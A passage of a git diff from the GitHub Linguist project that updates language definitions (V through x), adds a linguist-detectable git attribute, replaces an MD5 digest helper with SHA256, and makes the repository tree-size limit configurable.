   - gvimrc
   - nvimrc
   - vimrc
   ace_mode: text
-
-Visual Basic:
+  language_id: 388
+Vim Snippet:
+  type: markup
+  color: "#199f4b"
+  aliases:
+  - SnipMate
+  - UltiSnip
+  - UltiSnips
+  - NeoSnippet
+  extensions:
+  - ".snip"
+  - ".snippet"
+  - ".snippets"
+  tm_scope: source.vim-snippet
+  ace_mode: text
+  language_id: 81265970
+Visual Basic .NET:
   type: programming
   color: "#945db7"
   extensions:
-  - .vb
-  - .bas
-  - .cls
-  - .frm
-  - .frx
-  - .vba
-  - .vbhtml
-  - .vbs
-  tm_scope: source.vbnet
+  - ".vb"
+  - ".vbhtml"
   aliases:
-  - vb.net
+  - visual basic
   - vbnet
+  - vb .net
+  - vb.net
+  tm_scope: source.vbnet
   ace_mode: text
-
+  codemirror_mode: vb
+  codemirror_mime_type: text/x-vb
+  language_id: 389
+Visual Basic 6.0:
+  type: programming
+  color: "#2c6353"
+  extensions:
+  - ".bas"
+  - ".cls"
+  - ".ctl"
+  - ".Dsr"
+  - ".frm"
+  tm_scope: source.vba
+  aliases:
+  - vb6
+  - vb 6
+  - visual basic 6
+  - visual basic classic
+  - classic visual basic
+  ace_mode: text
+  codemirror_mode: vb
+  codemirror_mime_type: text/x-vb
+  language_id: 679594952
 Volt:
   type: programming
   color: "#1F1F1F"
   extensions:
-  - .volt
+  - ".volt"
   tm_scope: source.d
   ace_mode: d
-
+  codemirror_mode: d
+  codemirror_mime_type: text/x-d
+  language_id: 390
 Vue:
   type: markup
-  color: "#2c3e50"
+  color: "#41b883"
   extensions:
-  - .vue
+  - ".vue"
   tm_scope: text.html.vue
   ace_mode: html
-
+  language_id: 391
+Vyper:
+  type: programming
+  extensions:
+  - ".vy"
+  color: "#2980b9"
+  ace_mode: text
+  tm_scope: source.vyper
+  language_id: 1055641948
+WDL:
+  aliases:
+  - Workflow Description Language
+  type: programming
+  color: "#42f1f4"
+  extensions:
+  - ".wdl"
+  tm_scope: source.wdl
+  ace_mode: text
+  language_id: 374521672
+WGSL:
+  type: programming
+  color: "#1a5e9a"
+  extensions:
+  - ".wgsl"
+  tm_scope: source.wgsl
+  ace_mode: text
+  language_id: 836605993
 Wavefront Material:
   type: data
   extensions:
-  - .mtl
+  - ".mtl"
   tm_scope: source.wavefront.mtl
   ace_mode: text
-
+  language_id: 392
 Wavefront Object:
   type: data
   extensions:
-  - .obj
+  - ".obj"
   tm_scope: source.wavefront.obj
   ace_mode: text
-
+  language_id: 393
 Web Ontology Language:
-  type: markup
-  color: "#9cc9dd"
+  type: data
+  color: "#5b70bd"
   extensions:
-  - .owl
+  - ".owl"
   tm_scope: text.xml
   ace_mode: xml
-
+  language_id: 394
+WebAssembly:
+  type: programming
+  color: "#04133b"
+  extensions:
+  - ".wast"
+  - ".wat"
+  aliases:
+  - wast
+  - wasm
+  tm_scope: source.webassembly
+  ace_mode: lisp
+  codemirror_mode: commonlisp
+  codemirror_mime_type: text/x-common-lisp
+  language_id: 956556503
+WebAssembly Interface Type:
+  type: data
+  color: "#6250e7"
+  extensions:
+  - ".wit"
+  aliases:
+  - wit
+  ace_mode: text
+  tm_scope: source.wit
+  codemirror_mode: webidl
+  codemirror_mime_type: text/x-webidl
+  language_id: 134534086
 WebIDL:
   type: programming
   extensions:
-  - .webidl
+  - ".webidl"
   tm_scope: source.webidl
   ace_mode: text
-
+  codemirror_mode: webidl
+  codemirror_mime_type: text/x-webidl
+  language_id: 395
+WebVTT:
+  type: data
+  wrap: true
+  aliases:
+  - vtt
+  extensions:
+  - ".vtt"
+  tm_scope: text.vtt
+  ace_mode: text
+  language_id: 658679714
+Wget Config:
+  type: data
+  group: INI
+  aliases:
+  - wgetrc
+  filenames:
+  - ".wgetrc"
+  tm_scope: source.wgetrc
+  ace_mode: text
+  language_id: 668457123
+Whiley:
+  type: programming
+  color: "#d5c397"
+  extensions:
+  - ".whiley"
+  tm_scope: source.whiley
+  ace_mode: text
+  language_id: 888779559
+Wikitext:
+  type: prose
+  color: "#fc5757"
+  wrap: true
+  aliases:
+  - mediawiki
+  - wiki
+  extensions:
+  - ".mediawiki"
+  - ".wiki"
+  - ".wikitext"
+  tm_scope: text.html.mediawiki
+  ace_mode: text
+  language_id: 228
+Win32 Message File:
+  type: data
+  extensions:
+  - ".mc"
+  tm_scope: source.win32-messages
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 950967261
+Windows Registry Entries:
+  type: data
+  color: "#52d5ff"
+  extensions:
+  - ".reg"
+  tm_scope: source.reg
+  ace_mode: ini
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 969674868
+Witcher Script:
+  type: programming
+  color: "#ff0000"
+  extensions:
+  - ".ws"
+  ace_mode: text
+  tm_scope: source.witcherscript
+  language_id: 686821385
+Wollok:
+  type: programming
+  color: "#a23738"
+  extensions:
+  - ".wlk"
+  ace_mode: text
+  tm_scope: source.wollok
+  language_id: 632745969
 World of Warcraft Addon Data:
   type: data
+  color: "#f7e43f"
   extensions:
-  - .toc
+  - ".toc"
   tm_scope: source.toc
   ace_mode: text
-
+  language_id: 396
+Wren:
+  type: programming
+  color: "#383838"
+  aliases:
+  - wrenlang
+  extensions:
+  - ".wren"
+  tm_scope: source.wren
+  ace_mode: text
+  language_id: 713580619
+X BitMap:
+  type: data
+  group: C
+  aliases:
+  - xbm
+  extensions:
+  - ".xbm"
+  ace_mode: c_cpp
+  tm_scope: source.c
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 782911107
+X Font Directory Index:
+  type: data
+  filenames:
+  - encodings.dir
+  - fonts.alias
+  - fonts.dir
+  - fonts.scale
+  tm_scope: source.fontdir
+  ace_mode: text
+  language_id: 208700028
+X PixMap:
+  type: data
+  group: C
+  aliases:
+  - xpm
+  extensions:
+  - ".xpm"
+  - ".pm"
+  ace_mode: c_cpp
+  tm_scope: source.c
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 781846279
 X10:
   type: programming
   aliases:
   - xten
   ace_mode: text
   extensions:
-  - .x10
+  - ".x10"
   color: "#4B6BEF"
   tm_scope: source.x10
-
+  language_id: 397
 XC:
   type: programming
   color: "#99DA07"
   extensions:
-  - .xc
+  - ".xc"
   tm_scope: source.xc
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 398
+XCompose:
+  type: data
+  filenames:
+  - ".XCompose"
+  - XCompose
+  - xcompose
+  tm_scope: config.xcompose
+  ace_mode: text
+  language_id: 225167241
 XML:
   type: data
+  color: "#0060ac"
+  tm_scope: text.xml
   ace_mode: xml
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
   aliases:
   - rss
   - xsd
   - wsdl
   extensions:
-  - .xml
-  - .ant
-  - .axml
-  - .builds
-  - .ccxml
-  - .clixml
-  - .cproject
-  - .csl
-  - .csproj
-  - .ct
-  - .dita
-  - .ditamap
-  - .ditaval
-  - .dll.config
-  - .dotsettings
-  - .filters
-  - .fsproj
-  - .fxml
-  - .glade
-  - .gml
-  - .grxml
-  - .iml
-  - .ivy
-  - .jelly
-  - .jsproj
-  - .kml
-  - .launch
-  - .mdpolicy
-  - .mm
-  - .mod
-  - .mxml
-  - .nproj
-  - .nuspec
-  - .odd
-  - .osm
-  - .pkgproj
-  - .plist
-  - .pluginspec
-  - .props
-  - .ps1xml
-  - .psc1
-  - .pt
-  - .rdf
-  - .resx
-  - .rss
-  - .scxml
-  - .sfproj
-  - .srdf
-  - .storyboard
-  - .stTheme
-  - .sublime-snippet
-  - .targets
-  - .tmCommand
-  - .tml
-  - .tmLanguage
-  - .tmPreferences
-  - .tmSnippet
-  - .tmTheme
-  - .ts
-  - .tsx
-  - .ui
-  - .urdf
-  - .ux
-  - .vbproj
-  - .vcxproj
-  - .vssettings
-  - .vxml
-  - .wsdl
-  - .wsf
-  - .wxi
-  - .wxl
-  - .wxs
-  - .x3d
-  - .xacro
-  - .xaml
-  - .xib
-  - .xlf
-  - .xliff
-  - .xmi
-  - .xml.dist
-  - .xproj
-  - .xsd
-  - .xul
-  - .zcml
+  - ".xml"
+  - ".adml"
+  - ".admx"
+  - ".ant"
+  - ".axaml"
+  - ".axml"
+  - ".builds"
+  - ".ccproj"
+  - ".ccxml"
+  - ".clixml"
+  - ".cproject"
+  - ".cscfg"
+  - ".csdef"
+  - ".csl"
+  - ".csproj"
+  - ".ct"
+  - ".depproj"
+  - ".dita"
+  - ".ditamap"
+  - ".ditaval"
+  - ".dll.config"
+  - ".dotsettings"
+  - ".filters"
+  - ".fsproj"
+  - ".fxml"
+  - ".glade"
+  - ".gml"
+  - ".gmx"
+  - ".grxml"
+  - ".gst"
+  - ".hzp"
+  - ".iml"
+  - ".ivy"
+  - ".jelly"
+  - ".jsproj"
+  - ".kml"
+  - ".launch"
+  - ".mdpolicy"
+  - ".mjml"
+  - ".mm"
+  - ".mod"
+  - ".mojo"
+  - ".mxml"
+  - ".natvis"
+  - ".ncl"
+  - ".ndproj"
+  - ".nproj"
+  - ".nuspec"
+  - ".odd"
+  - ".osm"
+  - ".pkgproj"
+  - ".pluginspec"
+  - ".proj"
+  - ".props"
+  - ".ps1xml"
+  - ".psc1"
+  - ".pt"
+  - ".qhelp"
+  - ".rdf"
+  - ".res"
+  - ".resx"
+  - ".rs"
+  - ".rss"
+  - ".sch"
+  - ".scxml"
+  - ".sfproj"
+  - ".shproj"
+  - ".srdf"
+  - ".storyboard"
+  - ".sublime-snippet"
+  - ".sw"
+  - ".targets"
+  - ".tml"
+  - ".ts"
+  - ".tsx"
+  - ".typ"
+  - ".ui"
+  - ".urdf"
+  - ".ux"
+  - ".vbproj"
+  - ".vcxproj"
+  - ".vsixmanifest"
+  - ".vssettings"
+  - ".vstemplate"
+  - ".vxml"
+  - ".wixproj"
+  - ".workflow"
+  - ".wsdl"
+  - ".wsf"
+  - ".wxi"
+  - ".wxl"
+  - ".wxs"
+  - ".x3d"
+  - ".xacro"
+  - ".xaml"
+  - ".xib"
+  - ".xlf"
+  - ".xliff"
+  - ".xmi"
+  - ".xml.dist"
+  - ".xmp"
+  - ".xproj"
+  - ".xsd"
+  - ".xspec"
+  - ".xul"
+  - ".zcml"
   filenames:
-  - .classpath
-  - .project
+  - ".classpath"
+  - ".cproject"
+  - ".project"
   - App.config
   - NuGet.config
   - Settings.StyleCop
@@ -4169,199 +8129,495 @@ XML:
   - Web.Release.config
   - Web.config
   - packages.config
-
+  language_id: 399
+XML Property List:
+  type: data
+  color: "#0060ac"
+  group: XML
+  extensions:
+  - ".plist"
+  - ".stTheme"
+  - ".tmCommand"
+  - ".tmLanguage"
+  - ".tmPreferences"
+  - ".tmSnippet"
+  - ".tmTheme"
+  tm_scope: text.xml.plist
+  ace_mode: xml
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 75622871
 XPages:
-  type: programming
+  type: data
   extensions:
-  - .xsp-config
-  - .xsp.metadata
-  tm_scope: none
+  - ".xsp-config"
+  - ".xsp.metadata"
+  tm_scope: text.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 400
 XProc:
   type: programming
   extensions:
-  - .xpl
-  - .xproc
+  - ".xpl"
+  - ".xproc"
   tm_scope: text.xml
   ace_mode: xml
-
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
+  language_id: 401
 XQuery:
   type: programming
   color: "#5232e7"
   extensions:
-  - .xquery
-  - .xq
-  - .xql
-  - .xqm
-  - .xqy
+  - ".xquery"
+  - ".xq"
+  - ".xql"
+  - ".xqm"
+  - ".xqy"
   ace_mode: xquery
+  codemirror_mode: xquery
+  codemirror_mime_type: application/xquery
   tm_scope: source.xq
-
+  language_id: 402
 XS:
   type: programming
   extensions:
-  - .xs
+  - ".xs"
   tm_scope: source.c
   ace_mode: c_cpp
-
+  codemirror_mode: clike
+  codemirror_mime_type: text/x-csrc
+  language_id: 403
 XSLT:
   type: programming
   aliases:
   - xsl
   extensions:
-  - .xslt
-  - .xsl
+  - ".xslt"
+  - ".xsl"
   tm_scope: text.xml.xsl
   ace_mode: xml
+  codemirror_mode: xml
+  codemirror_mime_type: text/xml
   color: "#EB8CEB"
-
+  language_id: 404
 Xojo:
   type: programming
+  color: "#81bd41"
   extensions:
-  - .xojo_code
-  - .xojo_menu
-  - .xojo_report
-  - .xojo_script
-  - .xojo_toolbar
-  - .xojo_window
-  tm_scope: source.vbnet
+  - ".xojo_code"
+  - ".xojo_menu"
+  - ".xojo_report"
+  - ".xojo_script"
+  - ".xojo_toolbar"
+  - ".xojo_window"
+  tm_scope: source.xojo
+  ace_mode: text
+  language_id: 405
+Xonsh:
+  type: programming
+  color: "#285EEF"
+  extensions:
+  - ".xsh"
+  tm_scope: source.python
   ace_mode: text
-
+  codemirror_mode: python
+  codemirror_mime_type: text/x-python
+  language_id: 614078284
 Xtend:
   type: programming
+  color: "#24255d"
   extensions:
-  - .xtend
+  - ".xtend"
+  tm_scope: source.xtend
   ace_mode: text
-
+  language_id: 406
 YAML:
   type: data
+  color: "#cb171e"
   tm_scope: source.yaml
   aliases:
   - yml
   extensions:
-  - .yml
-  - .reek
-  - .rviz
-  - .sublime-syntax
-  - .syntax
-  - .yaml
-  - .yaml-tmlanguage
+  - ".yml"
+  - ".mir"
+  - ".reek"
+  - ".rviz"
+  - ".sublime-syntax"
+  - ".syntax"
+  - ".yaml"
+  - ".yaml-tmlanguage"
+  - ".yaml.sed"
+  - ".yml.mysql"
   filenames:
-  - .clang-format
+  - ".clang-format"
+  - ".clang-tidy"
+  - ".gemrc"
+  - CITATION.cff
+  - glide.lock
+  - yarn.lock
   ace_mode: yaml
-
+  codemirror_mode: yaml
+  codemirror_mime_type: text/x-yaml
+  language_id: 407
 YANG:
   type: data
   extensions:
-  - .yang
+  - ".yang"
   tm_scope: source.yang
   ace_mode: text
-
+  language_id: 408
+YARA:
+  type: programming
+  color: "#220000"
+  ace_mode: text
+  extensions:
+  - ".yar"
+  - ".yara"
+  tm_scope: source.yara
+  language_id: 805122868
+YASnippet:
+  type: markup
+  aliases:
+  - snippet
+  - yas
+  color: "#32AB90"
+  extensions:
+  - ".yasnippet"
+  tm_scope: source.yasnippet
+  ace_mode: text
+  language_id: 378760102
 Yacc:
   type: programming
   extensions:
-  - .y
-  - .yacc
-  - .yy
-  tm_scope: source.bison
+  - ".y"
+  - ".yacc"
+  - ".yy"
+  tm_scope: source.yacc
   ace_mode: text
   color: "#4B6C4B"
-
+  language_id: 409
+Yul:
+  type: programming
+  color: "#794932"
+  ace_mode: text
+  tm_scope: source.yul
+  extensions:
+  - ".yul"
+  language_id: 237469033
+ZAP:
+  type: programming
+  color: "#0d665e"
+  extensions:
+  - ".zap"
+  - ".xzap"
+  tm_scope: source.zap
+  ace_mode: text
+  language_id: 952972794
+ZIL:
+  type: programming
+  color: "#dc75e5"
+  extensions:
+  - ".zil"
+  - ".mud"
+  tm_scope: source.zil
+  ace_mode: text
+  language_id: 973483626
+Zeek:
+  type: programming
+  aliases:
+  - bro
+  extensions:
+  - ".zeek"
+  - ".bro"
+  tm_scope: source.zeek
+  ace_mode: text
+  language_id: 40
+ZenScript:
+  type: programming
+  color: "#00BCD1"
+  extensions:
+  - ".zs"
+  tm_scope: source.zenscript
+  ace_mode: text
+  language_id: 494938890
 Zephir:
   type: programming
   color: "#118f9e"
   extensions:
-  - .zep
+  - ".zep"
   tm_scope: source.php.zephir
   ace_mode: php
-
+  language_id: 410
+Zig:
+  type: programming
+  color: "#ec915c"
+  extensions:
+  - ".zig"
+  - ".zig.zon"
+  tm_scope: source.zig
+  ace_mode: text
+  language_id: 646424281
 Zimpl:
   type: programming
+  color: "#d67711"
   extensions:
-  - .zimpl
-  - .zmpl
-  - .zpl
+  - ".zimpl"
+  - ".zmpl"
+  - ".zpl"
   tm_scope: none
   ace_mode: text
-
+  language_id: 411
+cURL Config:
+  type: data
+  group: INI
+  aliases:
+  - curlrc
+  filenames:
+  - ".curlrc"
+  - _curlrc
+  tm_scope: source.curlrc
+  ace_mode: text
+  language_id: 992375436
+crontab:
+  type: data
+  color: "#ead7ac"
+  aliases:
+  - cron
+  - cron table
+  filenames:
+  - crontab
+  tm_scope: text.crontab
+  ace_mode: tcl
+  language_id: 705203557
 desktop:
   type: data
   extensions:
-  - .desktop
-  - .desktop.in
+  - ".desktop"
+  - ".desktop.in"
+  - ".service"
   tm_scope: source.desktop
   ace_mode: text
-
+  language_id: 412
+dircolors:
+  type: data
+  extensions:
+  - ".dircolors"
+  filenames:
+  - ".dir_colors"
+  - ".dircolors"
+  - DIR_COLORS
+  - _dir_colors
+  - _dircolors
+  - dir_colors
+  tm_scope: source.dircolors
+  ace_mode: text
+  language_id: 691605112
 eC:
   type: programming
   color: "#913960"
-  search_term: ec
   extensions:
-  - .ec
-  - .eh
+  - ".ec"
+  - ".eh"
   tm_scope: source.c.ec
   ace_mode: text
-
+  language_id: 413
 edn:
   type: data
   ace_mode: clojure
+  codemirror_mode: clojure
+  codemirror_mime_type: text/x-clojure
   extensions:
-  - .edn
+  - ".edn"
   tm_scope: source.clojure
-
+  language_id: 414
 fish:
   type: programming
+  color: "#4aae47"
   group: Shell
   interpreters:
   - fish
   extensions:
-  - .fish
+  - ".fish"
   tm_scope: source.fish
   ace_mode: text
-
+  language_id: 415
+hoon:
+  type: programming
+  color: "#00b171"
+  tm_scope: source.hoon
+  ace_mode: text
+  extensions:
+  - ".hoon"
+  language_id: 560883276
+iCalendar:
+  type: data
+  color: "#ec564c"
+  extensions:
+  - ".ics"
+  - ".ical"
+  tm_scope: source.iCalendar
+  aliases:
+  - iCal
+  ace_mode: properties
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 98384424
+jq:
+  color: "#c7254e"
+  ace_mode: text
+  type: programming
+  extensions:
+  - ".jq"
+  interpreters:
+  - gojq
+  - jaq
+  - jq
+  - jqjq
+  - jqq
+  - query-json
+  tm_scope: source.jq
+  language_id: 905371884
+kvlang:
+  type: markup
+  ace_mode: text
+  extensions:
+  - ".kv"
+  color: "#1da6e0"
+  tm_scope: source.python.kivy
+  language_id: 970675279
+mIRC Script:
+  type: programming
+  color: "#3d57c3"
+  extensions:
+  - ".mrc"
+  tm_scope: source.msl
+  ace_mode: text
+  language_id: 517654727
+mcfunction:
+  type: programming
+  color: "#E22837"
+  extensions:
+  - ".mcfunction"
+  tm_scope: source.mcfunction
+  ace_mode: text
+  language_id: 462488745
 mupad:
   type: programming
+  color: "#244963"
   extensions:
-  - .mu
+  - ".mu"
+  tm_scope: source.mupad
+  ace_mode: text
+  language_id: 416
+nanorc:
+  type: data
+  color: "#2d004d"
+  group: INI
+  extensions:
+  - ".nanorc"
+  filenames:
+  - ".nanorc"
+  - nanorc
+  tm_scope: source.nanorc
   ace_mode: text
-
+  language_id: 775996197
 nesC:
   type: programming
   color: "#94B0C7"
   extensions:
-  - .nc
+  - ".nc"
   ace_mode: text
   tm_scope: source.nesc
-
+  language_id: 417
 ooc:
   type: programming
   color: "#b0b77e"
   extensions:
-  - .ooc
+  - ".ooc"
+  tm_scope: source.ooc
   ace_mode: text
-
+  language_id: 418
+q:
+  type: programming
+  extensions:
+  - ".q"
+  tm_scope: source.q
+  ace_mode: text
+  color: "#0040cd"
+  language_id: 970539067
 reStructuredText:
   type: prose
+  color: "#141414"
   wrap: true
-  search_term: rst
   aliases:
   - rst
   extensions:
-  - .rst
-  - .rest
-  - .rest.txt
-  - .rst.txt
+  - ".rst"
+  - ".rest"
+  - ".rest.txt"
+  - ".rst.txt"
+  tm_scope: text.restructuredtext
+  ace_mode: text
+  codemirror_mode: rst
+  codemirror_mime_type: text/x-rst
+  language_id: 419
+robots.txt:
+  type: data
+  aliases:
+  - robots
+  - robots txt
+  filenames:
+  - robots.txt
+  ace_mode: text
+  tm_scope: text.robots-txt
+  language_id: 674736065
+sed:
+  type: programming
+  color: "#64b970"
+  extensions:
+  - ".sed"
+  interpreters:
+  - gsed
+  - minised
+  - sed
+  - ssed
+  ace_mode: text
+  tm_scope: source.sed
+  language_id: 847830017
+templ:
+  type: markup
+  color: "#66D0DD"
+  extensions:
+  - ".templ"
   ace_mode: text
-
+  tm_scope: source.templ
+  language_id: 795579337
+vCard:
+  type: data
+  color: "#ee2647"
+  extensions:
+  - ".vcf"
+  tm_scope: source.vcard
+  aliases:
+  - virtual contact file
+  - electronic business card
+  ace_mode: properties
+  codemirror_mode: properties
+  codemirror_mime_type: text/x-properties
+  language_id: 851476558
 wisp:
   type: programming
   ace_mode: clojure
+  codemirror_mode: clojure
+  codemirror_mime_type: text/x-clojure
   color: "#7582D1"
   extensions:
-  - .wisp
+  - ".wisp"
   tm_scope: source.clojure
-
+  language_id: 420
 xBase:
   type: programming
   color: "#403a40"
@@ -4370,8 +8626,9 @@ xBase:
   - clipper
   - foxpro
   extensions:
-  - .prg
-  - .ch
-  - .prw
+  - ".prg"
+  - ".ch"
+  - ".prw"
   tm_scope: source.harbour
   ace_mode: text
+  language_id: 421
diff --git a/lib/linguist/lazy_blob.rb b/lib/linguist/lazy_blob.rb
index 339c2e361e..98e75efb1f 100644
--- a/lib/linguist/lazy_blob.rb
+++ b/lib/linguist/lazy_blob.rb
@@ -7,7 +7,8 @@ class LazyBlob
     GIT_ATTR = ['linguist-documentation',
                 'linguist-language',
                 'linguist-vendored',
-                'linguist-generated']
+                'linguist-generated',
+                'linguist-detectable']
 
     GIT_ATTR_OPTS = { :priority => [:index], :skip_system => true }
     GIT_ATTR_FLAGS = Rugged::Repository::Attributes.parse_opts(GIT_ATTR_OPTS)
@@ -37,24 +38,24 @@ def git_attributes
     end
 
     def documentation?
-      if attr = git_attributes['linguist-documentation']
-        boolean_attribute(attr)
+      if not git_attributes['linguist-documentation'].nil?
+        boolean_attribute(git_attributes['linguist-documentation'])
       else
         super
       end
     end
 
     def generated?
-      if attr = git_attributes['linguist-generated']
-        boolean_attribute(attr)
+      if not git_attributes['linguist-generated'].nil?
+        boolean_attribute(git_attributes['linguist-generated'])
       else
         super
       end
     end
 
     def vendored?
-      if attr = git_attributes['linguist-vendored']
-        return boolean_attribute(attr)
+      if not git_attributes['linguist-vendored'].nil?
+        boolean_attribute(git_attributes['linguist-vendored'])
       else
         super
       end
@@ -70,6 +71,14 @@ def language
       end
     end
 
+    def detectable?
+      if not git_attributes['linguist-detectable'].nil?
+        boolean_attribute(git_attributes['linguist-detectable'])
+      else
+        nil
+      end
+    end
+
     def data
       load_blob!
       @data
@@ -80,15 +89,20 @@ def size
       @size
     end
 
+    def symlink?
+      # We don't create LazyBlobs for symlinks.
+      false
+    end
+
     def cleanup!
       @data.clear if @data
     end
 
     protected
 
-    # Returns true if the attribute is present and not the string "false".
+    # Returns true if the attribute is present and not the string "false" and not the false boolean.
     def boolean_attribute(attribute)
-      attribute != "false"
+      attribute != "false" && attribute != false
     end
 
     def load_blob!
diff --git a/lib/linguist/md5.rb b/lib/linguist/md5.rb
deleted file mode 100644
index 4853aa80b4..0000000000
--- a/lib/linguist/md5.rb
+++ /dev/null
@@ -1,38 +0,0 @@
-require 'digest/md5'
-
-module Linguist
-  module MD5
-    # Public: Create deep nested digest of value object.
-    #
-    # Useful for object comparison.
-    #
-    # obj - Object to digest.
-    #
-    # Returns String hex digest
-    def self.hexdigest(obj)
-      digest = Digest::MD5.new
-
-      case obj
-      when String, Symbol, Integer
-        digest.update "#{obj.class}"
-        digest.update "#{obj}"
-      when TrueClass, FalseClass, NilClass
-        digest.update "#{obj.class}"
-      when Array
-        digest.update "#{obj.class}"
-        for e in obj
-          digest.update(hexdigest(e))
-        end
-      when Hash
-        digest.update "#{obj.class}"
-        for e in obj.map { |(k, v)| hexdigest([k, v]) }.sort
-          digest.update(e)
-        end
-      else
-        raise TypeError, "can't convert #{obj.inspect} into String"
-      end
-
-      digest.hexdigest
-    end
-  end
-end
diff --git a/lib/linguist/popular.yml b/lib/linguist/popular.yml
index afb68021f5..072508a259 100644
--- a/lib/linguist/popular.yml
+++ b/lib/linguist/popular.yml
@@ -2,28 +2,28 @@
 #
 # This file should only be edited by GitHub staff
 
-- ActionScript
 - C
 - C#
 - C++
-- CSS
-- Clojure
 - CoffeeScript
+- CSS
+- Dart
+- DM
+- Elixir
 - Go
+- Groovy
 - HTML
-- Haskell
 - Java
 - JavaScript
-- Lua
-- Matlab
+- Kotlin
 - Objective-C
-- PHP
 - Perl
+- PHP
+- PowerShell
 - Python
-- R
 - Ruby
+- Rust
 - Scala
 - Shell
 - Swift
-- TeX
-- VimL
+- TypeScript
diff --git a/lib/linguist/repository.rb b/lib/linguist/repository.rb
index 700d1a1187..6ef697f07b 100644
--- a/lib/linguist/repository.rb
+++ b/lib/linguist/repository.rb
@@ -10,10 +10,12 @@ module Linguist
   class Repository
     attr_reader :repository
 
+    MAX_TREE_SIZE = 100_000
+
     # Public: Create a new Repository based on the stats of
     # an existing one
-    def self.incremental(repo, commit_oid, old_commit_oid, old_stats)
-      repo = self.new(repo, commit_oid)
+    def self.incremental(repo, commit_oid, old_commit_oid, old_stats, max_tree_size = MAX_TREE_SIZE)
+      repo = self.new(repo, commit_oid, max_tree_size)
       repo.load_existing_stats(old_commit_oid, old_stats)
       repo
     end
@@ -24,11 +26,13 @@ def self.incremental(repo, commit_oid, old_commit_oid, old_stats)
     # repo - a Rugged::Repository object
     # commit_oid - the sha1 of the commit that will be analyzed;
     #              this is usually the master branch
+    # max_tree_size - the maximum tree size to consider for analysis (default: MAX_TREE_SIZE)
     #
     # Returns a Repository
-    def initialize(repo, commit_oid)
+    def initialize(repo, commit_oid, max_tree_size = MAX_TREE_SIZE)
       @repository = repo
       @commit_oid = commit_oid
+      @max_tree_size = max_tree_size
 
       @old_commit_oid = nil
       @old_stats = nil
@@ -96,7 +100,7 @@ def breakdown_by_file
       @file_breakdown ||= begin
         breakdown = Hash.new { |h,k| h[k] = Array.new }
         cache.each do |filename, (language, _)|
-          breakdown[language] << filename
+          breakdown[language] << filename.dup.force_encoding("UTF-8").scrub
         end
         breakdown
       end
@@ -129,10 +133,8 @@ def current_tree
     end
 
     protected
-    MAX_TREE_SIZE = 100_000
-
     def compute_stats(old_commit_oid, cache = nil)
-      return {} if current_tree.count_recursive(MAX_TREE_SIZE) >= MAX_TREE_SIZE
+      return {} if current_tree.count_recursive(@max_tree_size) >= @max_tree_size
 
       old_tree = old_commit_oid && Rugged::Commit.lookup(repository, old_commit_oid).tree
       read_index
@@ -161,9 +163,7 @@ def compute_stats(old_commit_oid, cache = nil)
 
           blob = Linguist::LazyBlob.new(repository, delta.new_file[:oid], new, mode.to_s(8))
 
-          if blob.include_in_language_stats?
-            file_map[new] = [blob.language.group.name, blob.size]
-          end
+          update_file_map(blob, file_map, new)
 
           blob.cleanup!
         end
@@ -171,5 +171,11 @@ def compute_stats(old_commit_oid, cache = nil)
 
       file_map
     end
+
+    def update_file_map(blob, file_map, key)
+      if blob.include_in_language_stats?
+        file_map[key] = [blob.language.group.name, blob.size]
+      end
+    end
   end
 end
diff --git a/lib/linguist/samples.rb b/lib/linguist/samples.rb
index b6bb96761e..ae9bf296af 100644
--- a/lib/linguist/samples.rb
+++ b/lib/linguist/samples.rb
@@ -1,10 +1,10 @@
 begin
   require 'yajl'
 rescue LoadError
-  require 'yaml'
+  require 'json'
 end
 
-require 'linguist/md5'
+require 'linguist/sha256'
 require 'linguist/classifier'
 require 'linguist/shebang'
 
@@ -17,12 +17,22 @@ module Samples
     # Path for serialized samples db
     PATH = File.expand_path('../samples.json', __FILE__)
 
-    # Hash of serialized samples object
+    # Hash of serialized samples object, cached in memory
     def self.cache
-      @cache ||= begin
-        serializer = defined?(Yajl) ? Yajl : YAML
-        serializer.load(File.read(PATH, encoding: 'utf-8'))
+      @cache ||= load_samples
+    end
+
+    # Hash of serialized samples object, uncached
+    def self.load_samples
+      serializer = defined?(Yajl) ? Yajl : JSON
+      data = serializer.load(File.read(PATH, encoding: 'utf-8'))
+      # JSON serialization does not allow integer keys, we fix them here
+      for lang in data['centroids'].keys
+        fixed = data['centroids'][lang].to_a.map { |k,v| [k.to_i, v] }
+        data['centroids'][lang] = Hash[fixed]
       end
+
+      data
     end
 
     # Public: Iterate over each sample.
@@ -103,7 +113,8 @@ def self.data
         Classifier.train!(db, language_name, data)
       end
 
-      db['md5'] = Linguist::MD5.hexdigest(db)
+      Classifier.finalize_train! db
+      db['sha256'] = Linguist::SHA256.hexdigest(db)
 
       db
     end
diff --git a/lib/linguist/sha256.rb b/lib/linguist/sha256.rb
new file mode 100644
index 0000000000..bfdc33eb25
--- /dev/null
+++ b/lib/linguist/sha256.rb
@@ -0,0 +1,38 @@
+require 'digest/sha2'
+
+module Linguist
+  module SHA256
+    # Public: Create deep nested digest of value object.
+    #
+    # Useful for object comparison.
+    #
+    # obj - Object to digest.
+    #
+    # Returns String hex digest
+    def self.hexdigest(obj)
+      digest = Digest::SHA256.new
+
+      case obj
+      when String, Symbol, Integer, Float
+        digest.update "#{obj.class}"
+        digest.update "#{obj}"
+      when TrueClass, FalseClass, NilClass
+        digest.update "#{obj.class}"
+      when Array
+        digest.update "#{obj.class}"
+        for e in obj
+          digest.update(hexdigest(e))
+        end
+      when Hash
+        digest.update "#{obj.class}"
+        for e in obj.map { |(k, v)| hexdigest([k, v]) }.sort
+          digest.update(e)
+        end
+      else
+        raise TypeError, "can't convert #{obj.inspect} into String"
+      end
+
+      digest.hexdigest
+    end
+  end
+end
diff --git a/lib/linguist/shebang.rb b/lib/linguist/shebang.rb
index 7e5f983332..6d383f356e 100644
--- a/lib/linguist/shebang.rb
+++ b/lib/linguist/shebang.rb
